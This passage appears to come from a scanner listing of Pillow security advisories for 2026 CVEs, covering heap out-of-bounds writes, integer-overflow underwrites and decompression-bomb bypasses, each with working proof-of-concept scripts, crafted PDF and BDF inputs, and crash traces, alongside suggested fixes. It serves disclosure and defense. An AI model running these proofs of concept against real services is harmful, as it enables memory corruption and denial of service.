overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

high 7.5: CVE--2026--59205 Out-of-bounds Write

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.385%
EPSS Percentile32nd percentile
Description

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@<!-- -->entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.

Suggested fix

Validate modes before calling into the native transform:

def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().

high 7.5: CVE--2026--59200 Uncontrolled Resource Consumption

Affected range>=5.1.0
<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.385%
EPSS Percentile32nd percentile
Description

Summary

PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details

PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():

# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path:

with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here

PoC

import zlib, tempfile, os, time
from PIL import PdfParser

# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12):

PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

PDF file size Memory allocated Ratio Wall time
10 KB 10 MB 1,026× 0.024 s
95 KB 100 MB 1,028× 0.265 s
475 KB 500 MB 1,028× 1.279 s
950 KB 1,000 MB (1 GB) 1,028× 2.668 s

Impact

This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.

Suggested fix:

MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap

def decode(self) -> bytes:
    ...
    if filter == b"FlateDecode":
        ...
        result = zlib.decompress(self.buf, bufsize=int(expected_length))
        if len(result) > MAX_DECOMPRESS_BYTES:
            msg = "Decompressed stream exceeds maximum allowed size"
            raise ValueError(msg)
        return result

high 7.5: CVE--2026--59199 Integer Overflow or Wraparound

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.385%
EPSS Percentile32nd percentile
Description

Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.

Minimal public API trigger:

from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:

self.im.paste(source, box)

src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():

int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:

xsize = dx1 - dx0;
ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) {
    xsize = imOut->xsize - dx0;
}

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:

dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.

The primitive scales with the attacker-controlled source width:

source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)

C destination offset = -4 * W
C memcpy size        =  4 * W
write range          = [row_start - 4W, row_start)

Examples for RGBA:

W = 2         -> writes 8 bytes before the row
W = 1024      -> writes 4096 bytes before the row
W = 65536     -> writes 256 KiB before the row
W = 1000000   -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.

Two other documented APIs reach the same sink:

# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.

#!/usr/bin/env python3
import argparse
import sys

from PIL import Image


INT_MIN = -(1 << 31)


def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
    return bytes(out)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "variant",
        choices=("paste", "crop", "alpha"),
        nargs="?",
        default="paste",
    )
    parser.add_argument("-w", "--width", type=int, default=2)
    args = parser.parse_args()

    width = args.width
    src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))

    if args.variant == "paste":
        box = ((1 << 31) - width, 0, INT_MIN, 1)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=paste box={box}")
        print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
        sys.stdout.flush()
        dst.paste(src, box)
        print("paste returned; first row:", dst.tobytes().hex())

    elif args.variant == "crop":
        left = INT_MIN + width
        box = (left, 0, left + width, 1)
        print(f"variant=crop box={box}")
        sys.stdout.flush()
        out = src.crop(box)
        print("crop returned; output:", out.tobytes().hex())

    else:
        dest = (INT_MIN + width, 0)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=alpha dest={dest}")
        sys.stdout.flush()
        dst.alpha_composite(src, dest=dest)
        print("alpha_composite returned; first row:", dst.tobytes().hex())

    sys.stdout.flush()


if __name__ == "__main__":
    main()

Run against an ASAN build:

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py paste

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py crop

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py alpha

Observed ASAN signature for the direct Image.paste() path:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region

On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:

double free or corruption (out)
Aborted (core dumped)

Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090

Suggested fix

Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.

For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:

int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;

if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
    return ImagingError_ValueError("bad box");
}

ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.

Impact

This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.

Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.

high 7.5: CVE--2026--55380 Memory Allocation with Excessive Size Value

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.418%
EPSS Percentile35th percentile
Description

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

high 7.5: CVE--2026--55379 Memory Allocation with Excessive Size Value

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.421%
EPSS Percentile35th percentile
Description

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

# width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

high 7.5: CVE--2026--54060 Memory Allocation with Excessive Size Value

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.418%
EPSS Percentile35th percentile
Description

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

Metric Per-glyph (800 × 875) Combined bitmap (256 glyphs)
Pixel count 700,000 179,200,000
DecompressionBombWarning threshold (89.4M) 0.008× — no warning 2.0× — above warning
DecompressionBombError threshold (178.9M) 0.004× — no error 1.001× — above error

With PCF-maximum glyph height (65,535):

Metric Value
lines 256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height) 65,535
xsize 800
ysize = lines × h 256 × 65,535 = 16,776,960
Total pixels 800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold 75×
Memory (mode "1", 1 bit/pixel) ~1.6 GB

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
